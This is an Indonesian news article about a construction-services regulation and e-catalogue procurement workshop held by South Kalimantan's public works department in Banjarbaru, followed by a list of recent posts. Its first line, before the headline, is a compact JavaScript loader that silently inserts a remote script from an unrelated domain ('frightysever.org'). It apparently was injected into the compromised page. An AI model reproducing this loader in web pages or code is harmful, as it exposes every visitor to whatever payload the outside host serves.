(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Dinas PUPR Kalsel Laksanakan Sosialisasi Peraturan Jasa Konstruksi, Ini Tujuannya


KANALKALIMANTAN.COM, BANJARBARU –Pemerintah daerah perlu mempersiapkan sumber daya yang mendukung terlaksananya pengadaan secara elektronik, salah satunya dengan menyiapkan SDM dan perangkat pendukungnya, agar pada pengoperasian pengadaan secara elektronik lebih profesional.

“Maka pemerintah daerah mengadakan sosialisasi sekaligus workshop kepada pengguna dan penyedia, dalam proses pengadaan e-katalog terutama pada pengadaan pekerjaan Jasa Konstruksi Bidang Sumber Daya Air, Bina Marga dan kecipta karyaan,” kata Kepala Dinas Pekerjaan Umum dan Penataan Ruang Kalsel, Ir Ahmad Solhan ST, MT saat membuka Sosialisasi Peraturan Jasa Konstruksi, Rabu (15/3/2023) di Banjarbaru.

Pemerintah Provinsi Kalimantan Selatan, melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) menggelar Sosialisasi Peraturan Jasa Konstruksi dalam rangka melanjutkan intruksi Presiden Nomor 2 tahun 2022 tentang program Peningkatan Penggunaan Produk Dalam Negeri (P3DN), serta instruksi Gubernur Nomor 00783 tahun 2022 tentang P3DN.

Solhan menambahkan, sosialisasi ini juga merupakan salah satu perwujudan pelaksanaan tugas dan fungsi yang menjadi kewenangan Pemerintah Provinsi Kalimantan Selatan, agar implementasi pengaturan jasa konstruksi beserta peraturan turunannya, dapat memberikan kemudahan bagi pelaku jasa konstruksi dan dunia usaha dalam berkiprah di bidang jasa konstruksi. 

 

Baca juga: Kunker ke Kalsel: Presiden Jokowi Shalat Jumat di Masjid Agung Al Munawwarah Banjarbaru

“Diharapkan para peserta sosialisasi dapat mengikuti dengan seksama dan bersama-sama berdiskusi, guna mendapatkan sebuah solusi terbaik khususnya terhadap pengadaan e-katalog terutama pada pengadaan pekerjaan jasa konstruksi.

Sehingga, dapat digunakan sebagai bahan pembelajaran, untuk dapat diimplementasikan di daerah kabupaten/kota masing-masing,” beber dia.

Hal ini, sambung dia, dalam rangka pelayanan masyarakat jasa konstruksi di Kalimantan Selatan yang lebih baik.(kanalkalimantan.com/info publik.id)

Editor: Dhani


Al Ghifari

Recent Posts

Tongkat Komando Polres Banjarbaru Resmi Dipegang AKBP Pius X Febry Aceng Loda

KANALKALIMANTAN.COM, BANJARBARU – Tongkat kepemimpinan tertinggi Kepala Kepolisian Resor (Polres) Banjarbaru secara resmi dipegang AKBP… Read More

4 jam ago

KPK Siapkan 20 Saksi Sidang Suap Proyek PUPR Kalsel

Paman Birin Belum Ada Dalam List Saksi KPK Read More

5 jam ago

BRI Multicurrency dan BRImo Memberikan Kemudahan dan Kenyamanan Bertransaksi saat liburan!

KANALKALIMANTAN.COM - Liburan panjang akhir bulan jadi momen yang dinanti-nantikan oleh banyak orang. Saat itu,… Read More

8 jam ago

Respon Hakim MK Terkait Dalil Permohonan Denny Cs di Sidang Gugatan

Hanya Perlu 1 Suara untuk Menang pada Pilwali Banjarbaru 2024 Read More

12 jam ago

Dishub dan Organda Tak Bersepakat, APG Banjarbaru Jadinya Setop Operasi

KANALKALIMANTAN.COM, BANJARBARU - Belum beroperasi Angkutan Pelajar Gratis (APG) di sejumlah sekolah di Banjarbaru di… Read More

15 jam ago

Empat Pemohon Gugatan Pilwali Banjarbaru di MK

KANALKALIMANTAN.COM, JAKARTA - Empat buah gugatan dibacakan langsung dalam sidang sengketa hasil Pemilihan Wali Kota… Read More

17 jam ago

This website uses cookies.